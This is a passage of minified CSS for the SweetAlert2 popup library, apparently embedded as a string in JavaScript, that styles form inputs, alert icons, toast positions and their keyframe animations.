#c4e6f5}.swal2-file::-moz-placeholder,.swal2-input::-moz-placeholder,.swal2-textarea::-moz-placeholder{color:#ccc}.swal2-file:-ms-input-placeholder,.swal2-input:-ms-input-placeholder,.swal2-textarea:-ms-input-placeholder{color:#ccc}.swal2-file::-ms-input-placeholder,.swal2-input::-ms-input-placeholder,.swal2-textarea::-ms-input-placeholder{color:#ccc}.swal2-file::placeholder,.swal2-input::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em auto;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-input[type=number]{max-width:10em}.swal2-file{background:inherit;font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:inherit;color:inherit;font-size:1.125em}.swal2-checkbox,.swal2-radio{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-checkbox label,.swal2-radio label{margin:0 .6em;font-size:1.125em}.swal2-checkbox input,.swal2-radio input{margin:0 .4em}.swal2-validation-message{display:none;align-items:center;justify-content:center;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:\"!\";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:1.25em auto 1.875em;border:.25em solid transparent;border-radius:50%;font-family:inherit;line-height:5em;cursor:default;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{-webkit-animation:swal2-animate-error-icon .5s;animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{-webkit-animation:swal2-animate-error-x-mark .5s;animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-.25em;left:-.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-animate-success-line-tip .75s;animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-animate-success-line-long .75s;animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{-webkit-animation:swal2-rotate-success-circular-line 4.25s ease-in;animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{align-items:center;margin:0 0 1.25em;padding:0;background:inherit;font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;width:2em;height:2em;border-radius:2em;background:#3085d6;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#3085d6}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;width:2.5em;height:.4em;margin:0 -1px;background:#3085d6}[class^=swal2]{-webkit-tap-highlight-color:transparent}.swal2-show{-webkit-animation:swal2-show .3s;animation:swal2-show .3s}.swal2-hide{-webkit-animation:swal2-hide .15s forwards;animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{right:auto;left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@supports (-ms-accelerator:true){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@-moz-document url-prefix(){.swal2-close:focus{outline:2px solid rgba(50,100,150,.4)}}@-webkit-keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@-webkit-keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@-webkit-keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@-webkit-keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@-webkit-keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@-webkit-keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@-webkit-keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@-webkit-keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@-webkit-keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@-webkit-keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@-webkit-keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@-webkit-keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}@keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto!important}body.swal2-no-backdrop .swal2-container{top:auto;right:auto;bottom:auto;left:auto;max-width:calc(100% - .625em * 2);background-color:transparent!important}body.swal2-no-backdrop .swal2-container>.swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}body.swal2-no-backdrop .swal2-container.swal2-top{top:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-top-left,body.swal2-no-backdrop .swal2-container.swal2-top-start{top:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-top-end,body.swal2-no-backdrop .swal2-container.swal2-top-right{top:0;right:0}body.swal2-no-backdrop .swal2-container.swal2-center{top:50%;left:50%;transform:translate(-50%,-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-left,body.swal2-no-backdrop .swal2-container.swal2-center-start{top:50%;left:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-end,body.swal2-no-backdrop .swal2-container.swal2-center-right{top:50%;right:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom{bottom:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom-left,body.swal2-no-backdrop .swal2-container.swal2-bottom-start{bottom:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-bottom-end,body.swal2-no-backdrop .swal2-container.swal2-bottom-right{right:0;bottom:0}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll!important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static!important}}body.swal2-toast-shown .swal2-container{background-color:transparent}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-left,body.swal2-toast-shown .swal2-container.swal2-top-start{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-left,body.swal2-toast-shown .swal2-container.swal2-center-start{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%,-50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-left,body.swal2-toast-shown .swal2-container.swal2-bottom-start{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto}body.swal2-toast-column .swal2-toast{flex-direction:column;align-items:stretch}body.swal2-toast-column .swal2-toast .swal2-actions{flex:1;align-self:stretch;height:2.2em;margin-top:.3125em}body.swal2-toast-column .swal2-toast .swal2-loading{justify-content:center}body.swal2-toast-column .swal2-toast .swal2-input{height:2em;margin:.3125em auto;font-size:1em}body.swal2-toast-column .swal2-toast .swal2-validation-message{font-size:1em}");